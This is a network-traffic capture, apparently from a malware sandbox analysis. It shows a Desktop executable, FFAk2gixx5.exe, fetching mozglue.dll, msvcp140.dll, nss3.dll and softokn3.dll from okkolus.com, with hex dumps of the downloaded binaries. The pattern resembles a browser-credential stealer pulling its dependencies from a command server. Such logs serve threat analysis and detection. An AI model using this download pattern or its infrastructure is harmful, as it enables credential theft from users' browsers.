May 6, 2024 02:52:52.228322029 CEST	1289	IN	Data Raw: 5d c8 13 9d 44 ff ff ff 01 f7 89 7d b4 11 c3 89 5d c8 31 da 89 d3 8b 4d 9c 31 f9 89 ca 0f a4 da 10 89 55 a0 0f ac d9 10 89 4d 9c 8b 5d e8 01 cb 89 5d e8 8b 7d c0 11 d7 89 7d c0 31 f8 31 de 89 c1 0f a4 f1 01 89 4d 88 0f a4 c6 01 89 b5 70 ff ff ff Data Ascii: ]D}]1M1UM]]}}11MpELMEE}MU1u1EE]]M11M]4M]11hUMMMM11U
May 6, 2024 02:52:52.404004097 CEST	1289	IN	Data Raw: 85 48 ff ff ff 01 d1 11 d8 89 45 c8 8b 95 6c ff ff ff 31 c2 8b 75 a0 31 ce 89 75 a0 8b 7d e8 01 d7 89 7d e8 8b 45 c0 11 f0 89 45 c0 8b 75 88 31 fe 31 c3 89 f0 0f a4 d8 08 0f a4 f3 08 03 8d 18 ff ff ff 8b 75 c8 13 b5 34 ff ff ff 01 d9 89 4d b4 11 Data Ascii: HEl1u1u}}EEu11u4Mu}11ulMM}}11puM}u]ME1Eh1MMEE11U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49716	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:54.224196911 CEST	90	OUT	GET /dfaf16606234b71d/mozglue.dll HTTP/1.1 Host: okkolus.com Cache-Control: no-cache
May 6, 2024 02:52:54.574652910 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:49:08 GMT ETag: "94750-5e7ef2e90e100" Accept-Ranges: bytes Content-Length: 608080 Connection: close Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B [TRUNCATED]
May 6, 2024 02:52:54.574670076 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 55 89 e5 5d e9 07 ba 01 00 cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 40 89 ce a1 0c e0 08 10 31 e8 89 44 24 38 8b 3d d4 e7 08 10 89 7c 24 18 c7 44 24 1c 00 00 00 00 8b 49 14 31 d2 4a 31 c0 3b 4f 14 0f 97 c0 0f 42 c2 Data Ascii: U]USWV@1D$8=\|$D$I1J1;OBuN1;Ore$@DN1;OBu!N1;Os@utu9G$vn/tAuL$D$9;
May 6, 2024 02:52:54.574687004 CEST	1289	IN	Data Raw: 01 74 d5 83 e3 fe 89 59 0c 8b 4a 08 85 c9 0f 84 b5 00 00 00 8b 71 0c 83 e6 fe 89 72 08 89 d6 83 e6 fe 8b 79 0c 83 e7 01 09 f7 89 79 0c 89 08 8b 7a 0c 89 fe 83 e6 fe 74 5d 8b 5e 08 83 e3 fe 83 e7 01 09 df 89 7a 0c 89 56 08 8b 51 0c 83 e2 01 09 f2 Data Ascii: tYJqryyzt]^zVQQiZ]Y]Yg~tY~qJ#:BF#B#USWV
May 6, 2024 02:52:54.574700117 CEST	1289	IN	Data Raw: 00 8b 7a 04 83 e7 01 09 c7 89 7e 04 80 48 04 01 8b 02 85 c0 0f 84 65 01 00 00 8b 70 04 83 e6 fe 89 32 89 d7 83 e7 fe 8b 70 04 83 e6 01 09 fe 89 70 04 89 01 8b 7a 04 89 fe 83 e6 fe 0f 84 0a 01 00 00 83 c0 04 8b 1e 83 e3 fe 83 e7 01 09 df 89 7a 04 Data Ascii: z~Hep2ppzz88J^_[]FtXuzrrMJXXg~~0Hpp
May 6, 2024 02:52:54.575454950 CEST	1289	IN	Data Raw: 74 0a 80 7d ef 00 0f 84 f4 00 00 00 89 43 10 89 73 14 8b 4d e4 89 4b 18 8b 41 08 89 03 b8 44 e7 08 10 50 ff 15 30 be 08 10 b9 5c e7 08 10 89 da e8 76 a7 03 00 01 35 60 e7 08 10 01 3d 64 e7 08 10 b8 44 e7 08 10 50 ff 15 b0 be 08 10 29 f7 74 3e 03 Data Ascii: t}CsMKADP0\v5`=dDP)t>u%)9Ch@SV0ts)9BuuM1o^_[]h V0,,V17
May 6, 2024 02:52:54.575469971 CEST	1289	IN	Data Raw: ff c1 e8 0c 0f b6 c0 89 44 24 24 8d 04 85 00 00 00 00 8d 34 40 89 4c 24 04 09 ce 83 c6 10 8b 53 04 89 54 24 30 c7 44 24 34 00 00 00 00 85 d2 0f 84 03 04 00 00 31 ff 8d 4c 24 30 89 74 24 08 89 7c 24 10 89 cf 8b 0a 85 c9 74 2b 8b 41 04 a8 01 74 24 Data Ascii: D$$4@L$ST$0D$41L$0t$\|$t+At$1tFu$t$9vuvQYYq`9\$t$BD$)<I4CD$0D$4l\|$1
May 6, 2024 02:52:54.576087952 CEST	1289	IN	Data Raw: 80 7c 24 10 00 75 04 39 f1 72 28 89 31 8b 54 24 0c 8b 7c 24 1c 8b 44 24 30 85 c0 0f 84 e8 06 00 00 80 60 04 fe 89 43 04 8b 44 24 14 89 03 e9 4d fa ff ff 89 c2 8b 44 24 04 8d 04 90 83 c0 14 89 44 24 10 8b 51 04 83 e2 01 89 f0 89 d6 09 c6 89 71 04 Data Ascii: \|$u9r(1T$\|$D$0`CD$MD$D$Qq0qQD$00I9u%D$1Ft$G9T$\|$]D$FNGWoW9GQ
May 6, 2024 02:52:54.576107979 CEST	1289	IN	Data Raw: 04 e9 ef f9 ff ff 8b 74 24 08 83 e6 fe 89 30 8b 71 04 83 e6 01 09 c6 89 71 04 83 e1 fe 8b 42 04 83 e0 01 8d 34 08 89 72 04 85 c9 0f 84 13 01 00 00 8b 31 83 e6 fe 09 c6 89 72 04 89 11 8b 42 04 83 e0 fe 74 30 8b 58 04 f6 c3 01 74 28 83 e3 fe 89 58 Data Ascii: t$0qqB4r1rBt0Xt(XBr0rBt$NNt$,X%AqqZth0ZQ
May 6, 2024 02:52:54.662729979 CEST	1289	IN	Data Raw: be 00 00 00 00 19 de 0f 4d fb 0f 4d 4c 24 14 f7 d8 19 54 24 24 0f 4c 7c 24 28 0f 4c 4c 24 2c 89 c8 83 c0 ff 89 fa 81 d2 ff ff ff 7f 83 c0 02 83 d2 00 83 f8 02 83 da 00 0f 82 00 01 00 00 66 0f 6e c1 66 0f 6e cf 66 0f 62 c1 66 0f d6 44 24 38 df 6c Data Ascii: MML$T$$L\|$(LL$,fnfnfbfD$8l$8\$0D$0f\f(fXY^Yf.sfW\D$D$\|$L$fL$l$\|$l$3D$L$\|$GG
May 6, 2024 02:52:54.662770033 CEST	1289	IN	Data Raw: 24 ff ff ff 31 c0 40 31 c9 89 f2 09 fa 0f 45 cf 0f 45 c6 8b 35 0c e2 08 10 8b 15 08 e2 08 10 89 14 24 89 74 24 08 ba 40 42 0f 00 f7 e2 89 44 24 04 69 d9 40 42 0f 00 01 d3 56 8b 7c 24 04 57 53 50 e8 88 88 03 00 89 c1 89 d6 31 d2 31 c0 40 39 7c 24 Data Ascii: $1@1EE5$t$@BD$i@BV\|$WSP11@9\|$\$BBt$5$3<$3\$t<z9$\|$s5L$01,ze^_[]h1V1h-Vuf
May 6, 2024 02:52:54.833553076 CEST	1289	IN	Data Raw: 03 00 8b 45 f0 f0 01 05 b4 e7 08 10 68 b8 e7 08 10 ff 15 b0 be 08 10 68 84 e7 08 10 ff 15 30 be 08 10 b8 84 e7 08 10 8b 0d 2c e7 08 10 89 0f 89 3d 2c e7 08 10 e9 ee fe ff ff 68 84 e7 08 10 ff 15 b0 be 08 10 b9 1c 00 00 00 e8 46 92 00 00 89 45 e8 Data Ascii: Ehh0,=,hFE7k!XI^_[])MUq>hC<USWV@1D$8\$D$ 1J1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49717	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:56.542532921 CEST	91	OUT	GET /dfaf16606234b71d/msvcp140.dll HTTP/1.1 Host: okkolus.com Cache-Control: no-cache
May 6, 2024 02:52:56.909929991 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:49:08 GMT ETag: "6dde8-5e7ef2e90e100" Accept-Ranges: bytes Content-Length: 450024 Connection: close Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B [TRUNCATED]
May 6, 2024 02:52:56.909946918 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 f0 a2 00 10 a0 a2 00 10 80 a2 00 10 e0 a2 00 10 90 a3 00 10 30 a3 00 10 10 a3 00 10 70 a3 00 10 30 a4 00 10 d0 a3 00 10 b0 a3 00 10 10 a4 00 10 c0 a4 00 10 70 a4 00 10 50 a4 00 10 b0 a4 00 10 f0 a4 00 10 e0 a4 00 10 Data Ascii: 0p0pP0`P` @ P0
May 6, 2024 02:52:56.910290956 CEST	1289	IN	Data Raw: 31 01 00 00 40 31 01 00 00 60 31 01 00 00 90 31 01 00 00 d0 31 01 00 02 10 32 01 00 00 70 32 01 00 02 30 33 01 00 02 40 33 01 00 00 e0 33 01 00 02 40 34 01 00 02 30 35 01 00 02 60 35 01 00 02 a0 35 01 00 02 d0 35 01 00 00 30 36 01 00 00 40 36 01 Data Ascii: 1@1`1112p203@33@405`55506@66P77`88p9:: ;0;@;P;`;p;;;;;;;;<0<`<<< ===0>p>0?
May 6, 2024 02:52:56.910305023 CEST	1289	IN	Data Raw: 90 7f 01 00 02 e0 7f 01 00 02 10 80 01 00 02 40 80 01 00 02 a0 81 01 00 02 b0 81 01 00 02 40 82 01 00 00 a0 82 01 00 00 40 83 01 00 02 70 83 01 00 02 b0 83 01 00 00 c0 83 01 00 02 e0 83 01 00 00 f0 83 01 00 00 30 84 01 00 02 50 84 01 00 02 70 84 Data Ascii: @@@p0Pp`p@pP 000p
May 6, 2024 02:52:57.000484943 CEST	1289	IN	Data Raw: 02 a0 60 02 00 02 f0 60 02 00 02 40 61 02 00 02 60 61 02 00 02 10 64 02 00 02 c0 66 02 00 02 f0 6b 02 00 02 10 72 02 00 02 40 7d 02 00 02 a0 7d 02 00 02 50 7e 02 00 00 90 7e 02 00 00 d0 7e 02 00 00 f0 7e 02 00 00 10 7f 02 00 00 20 7f 02 00 00 30 Data Ascii: ``@a`adfkr@}}P~~~~ 0Pp`PPPp@ `0P 0
May 6, 2024 02:52:57.000631094 CEST	1289	IN	Data Raw: 00 02 70 48 03 00 02 c0 49 03 00 02 d0 49 03 00 02 00 4a 03 00 02 10 4a 03 00 02 20 4a 03 00 02 30 4a 03 00 02 40 4a 03 00 02 50 4a 03 00 02 60 4a 03 00 02 70 4a 03 00 02 80 4a 03 00 02 90 4a 03 00 02 a0 4a 03 00 02 d0 4b 03 00 02 20 4d 03 00 02 Data Ascii: pHIIJJ J0J@JPJ`JpJJJJK M0M`MpMMMMMMMMMN0OPPPQPRPSPTPUPVPWXYZ[\]^_`ab
May 6, 2024 02:52:57.000653028 CEST	1289	IN	Data Raw: 04 00 00 d0 12 04 00 00 e0 12 04 00 00 f0 12 04 00 00 00 13 04 00 00 10 13 04 00 00 20 13 04 00 00 30 13 04 00 00 40 13 04 00 00 50 13 04 00 00 60 13 04 00 00 70 13 04 00 00 80 13 04 00 00 90 13 04 00 00 a0 13 04 00 00 b0 13 04 00 00 c0 13 04 00 Data Ascii: 0@P`p 0@????9>033<:$@?
May 6, 2024 02:52:57.001234055 CEST	1289	IN	Data Raw: 65 78 63 65 70 74 69 6f 6e 00 00 00 2c 79 00 10 b0 12 01 10 10 19 01 10 62 61 64 20 61 6c 6c 6f 63 61 74 69 6f 6e 00 00 ac 79 00 10 50 15 01 10 30 15 01 10 60 12 01 10 60 15 01 10 f8 79 00 10 50 15 01 10 10 15 01 10 60 12 01 10 60 15 01 10 01 00 Data Ascii: exception,ybad allocationyP0``yP``<<<<<<<==== =(=0=8=@=H=P=X=`=
May 6, 2024 02:52:57.041300058 CEST	1289	IN	Data Raw: 08 00 00 f4 42 00 10 16 08 00 00 00 43 00 10 1a 08 00 00 0c 43 00 10 1d 08 00 00 24 43 00 10 2c 08 00 00 30 43 00 10 3b 08 00 00 48 43 00 10 3e 08 00 00 54 43 00 10 43 08 00 00 60 43 00 10 6b 08 00 00 78 43 00 10 01 0c 00 00 88 43 00 10 04 0c 00 Data Ascii: BCC$C,0C;HC>TCC`CkxCCCCCCCC;CkCDDD(D4D@DLD;XDhDtDDD
May 6, 2024 02:52:57.041374922 CEST	1289	IN	Data Raw: 00 10 26 00 00 00 5c 4a 00 10 68 00 00 00 18 3d 00 10 0a 00 00 00 68 4a 00 10 4c 00 00 00 38 3e 00 10 2e 00 00 00 74 4a 00 10 73 00 00 00 20 3d 00 10 0b 00 00 00 80 4a 00 10 94 00 00 00 8c 4a 00 10 a5 00 00 00 98 4a 00 10 ae 00 00 00 a4 4a 00 10 Data Ascii: &\Jh=hJL8>.tJs =JJJJMJJ>>J>7J(=JN@>/Jt=JKZ0=KO>(Kj=(Ka8=
May 6, 2024 02:52:57.170639038 CEST	1289	IN	Data Raw: 00 00 00 00 00 6b 00 6f 00 00 00 00 00 6e 00 6c 00 00 00 00 00 6e 00 6f 00 00 00 00 00 70 00 6c 00 00 00 00 00 70 00 74 00 00 00 00 00 72 00 6f 00 00 00 00 00 72 00 75 00 00 00 00 00 68 00 72 00 00 00 00 00 73 00 6b 00 00 00 00 00 73 00 71 00 00 Data Ascii: konlnoplptroruhrsksqsvthtruridukbesletlvltfavihyazeumkafkafo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49718	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:58.869148016 CEST	87	OUT	GET /dfaf16606234b71d/nss3.dll HTTP/1.1 Host: okkolus.com Cache-Control: no-cache
May 6, 2024 02:52:59.221436024 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:49:08 GMT ETag: "1f3950-5e7ef2e90e100" Accept-Ranges: bytes Content-Length: 2046288 Connection: close Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B [TRUNCATED]
May 6, 2024 02:52:59.221554041 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 55 89 e5 53 57 56 8b 7d 0c 8b 75 08 8b 5e 0c 85 db 74 3e 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 f7 df 19 c0 8b 7e 0c 0d ff 00 00 00 89 46 48 85 ff 74 12 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 Data Ascii: USWV}u^t>p@S~FHtx@W1^_[]FHUEH @]U]UWVE1L$s2MUu\|$WNPWRqGt34$\|$jh
May 6, 2024 02:52:59.221715927 CEST	1289	IN	Data Raw: 6a 56 ff 75 14 51 53 57 e8 a2 00 00 00 83 c4 14 89 c6 a1 34 20 1e 10 83 78 04 04 7d 6f 89 f0 5e 5f 5b 5d c3 83 ec 10 0f 28 05 90 f1 19 10 0f 11 04 24 e8 68 f2 06 00 83 c4 10 eb 89 6a 00 68 9d e8 ff ff eb 19 83 e1 fd 89 88 e0 00 00 00 6a 00 68 97 Data Ascii: jVuQSW4 x}o^_[]($hjhjhjh<1NGuQSpWhNMu_WPVhW*pUSWV1}ME@pESQPVu!==3'uMIy
May 6, 2024 02:52:59.221744061 CEST	1289	IN	Data Raw: 81 fe d4 00 00 00 0f 84 f2 fe ff ff bf 96 e8 ff ff e9 28 fc ff ff bf ae e8 ff ff e9 1e fc ff ff bf cd e8 ff ff e9 14 fc ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 ff 35 9c 16 1e 10 ff 15 ec cc 1d 10 89 c6 85 c0 74 3f 8b 86 e0 00 00 00 Data Ascii: (UV5t?tFu^uuu4 x}T^]($jhtjh1NVh
May 6, 2024 02:52:59.222337008 CEST	1289	IN	Data Raw: c3 08 83 c6 08 3b b5 bc cf ff ff 0f 82 66 ff ff ff e9 9e 01 00 00 0f b7 1b 89 d8 83 e0 01 d1 eb 83 e3 02 09 c3 eb 99 0f b7 c3 8b 8d d0 cf ff ff 0f b7 19 89 d9 d1 e9 83 e1 01 09 c8 c1 eb 02 83 e3 02 09 c3 eb 8b 83 3d 48 20 1e 10 00 0f 84 31 02 00 Data Ascii: ;f=H 1Mbi)Q8C1NwzGdNwQ+
May 6, 2024 02:52:59.222444057 CEST	1289	IN	Data Raw: d3 8b 78 0c 85 ff 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 81 7e 14 a3 0d f2 2d 75 6e 83 7e 24 00 79 68 85 db 0f 8e b3 00 00 00 0f bf 46 10 39 d8 0f 8c a7 00 00 00 8d 53 ff 8b 46 6c 8d 0c 92 8d 3c c8 83 c7 08 f6 47 01 24 75 2f Data Ascii: xtp@W~-un~$yhF9SFl<G$u/\|u(f@@1^_[]UXUA@+lXtx@ShWvh@~hQaA@
May 6, 2024 02:52:59.312685013 CEST	1289	IN	Data Raw: 89 f9 31 d2 e8 02 a1 00 00 e9 7b ff ff ff 31 c0 eb 91 cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 20 89 cf 8b 4d 0c 8b 5d 08 a1 14 e0 1d 10 31 e8 89 45 f0 85 c9 89 7d e0 89 55 e8 75 52 89 d1 89 da e8 e2 03 00 00 89 c6 c1 fe 1f 0f b7 8f 2c Data Ascii: 1{1USWV M]1E}UuR,19=UPP8M1Mo4t':t"Bu zuz@ DMJEur BtP
May 6, 2024 02:52:59.312700033 CEST	1289	IN	Data Raw: 75 0c ff 75 f0 57 52 e8 a6 00 00 00 83 c4 1c 5e 5f 5b 5d c3 89 df 8b 45 f0 39 46 04 74 0a 89 f7 8b 36 85 f6 74 d6 eb ee 8b 4a 10 8b 46 08 89 45 ec ff 15 00 40 1e 10 ff 75 ec ff 75 0c ff d1 8b 55 08 83 c4 08 85 c0 74 d5 39 df 75 50 8b 33 89 df 85 Data Ascii: uuWR^_[]E9Ft6tJFE@uuUt9uP3tJ~@]SWu$~tMAyH@jVW^r3USWV UB1(1F)9JsQuuBzH@uV
May 6, 2024 02:52:59.312815905 CEST	1289	IN	Data Raw: cc cc cc cc cc cc cc cc cc 55 89 e5 57 56 89 ce 8b 41 08 0f ba e0 0d 72 22 0f ba e0 0a 73 12 8b 7e 10 8b 4e 24 ff 15 00 40 1e 10 57 ff d1 83 c4 04 66 c7 46 08 01 00 5e 5f 5d c3 8b 16 89 f1 e8 d5 7a 15 00 0f b7 46 08 eb cf cc cc cc cc cc cc cc cc Data Ascii: UWVAr"s~N$@WfF^_]zFUEP]USWV@1D$8yFD$FF-fF\|$Nt$>L$11D$5jjVW9}T$
May 6, 2024 02:52:59.312841892 CEST	1289	IN	Data Raw: ec dd ff ff 83 c4 04 31 f6 4e eb da cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 81 ec a0 00 00 00 8b 7d 08 a1 14 e0 1d 10 31 e8 89 84 24 98 00 00 00 83 3d 48 20 1e 10 00 0f 84 8b 00 00 00 85 ff 74 3e 8b 75 0c 85 f6 74 37 80 3f 00 74 32 6a 25 57 e8 19 Data Ascii: 1NUSWV}1$=H t>ut7?t2j%Wuv{$1kwe^_[]=H C5t@(1H,H01N($khphOp
May 6, 2024 02:52:59.481677055 CEST	1289	IN	Data Raw: 16 8d 04 80 47 8d 04 41 83 c0 d0 3d ff 00 00 00 76 e2 e9 c5 fd ff ff 85 c9 0f 85 bd fd ff ff 88 44 5e 0b 83 c3 02 e9 52 fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 14 8b 55 08 a1 14 e0 1d 10 31 e8 89 45 f0 8a 1a 89 d8 04 Data Ascii: GA=vD^RUSWVU1E1<M10tEEE1.Z1XBEME1GBr(8}EB1G}.u51

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49720	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:53:34.748999119 CEST	91	OUT	GET /dfaf16606234b71d/softokn3.dll HTTP/1.1 Host: okkolus.com Cache-Control: no-cache
May 6, 2024 02:53:35.103935003 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:53:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:49:08 GMT ETag: "3ef50-5e7ef2e90e100" Accept-Ranges: bytes Content-Length: 257872 Connection: close Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B [TRUNCATED]
May 6, 2024 02:53:35.104001045 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0c Data Ascii: Ut]h6h{t]UtH]h6h{t1]Ut$]h6h{t]UtH]h6h{
May 6, 2024 02:53:35.191178083 CEST	1289	IN	Data Raw: a1 0c 9a 03 10 85 c0 74 0c 8b 48 6c ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d4 cc cc cc cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0c 8b 48 70 ff 15 00 a0 03 10 Data Ascii: tHl]h6h{t]UtHp]h6h{t]UtHt]h6h{t]Ut\|]h6h{t1]
May 6, 2024 02:53:35.191224098 CEST	1289	IN	Data Raw: 8b 88 bc 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 c0 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 Data Ascii: ]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]
May 6, 2024 02:53:35.235519886 CEST	1289	IN	Data Raw: a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 28 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 Data Ascii: ]h6h{t]Ut(]h6h{t]Uh*m{tuQ\|]Ut@]h6h
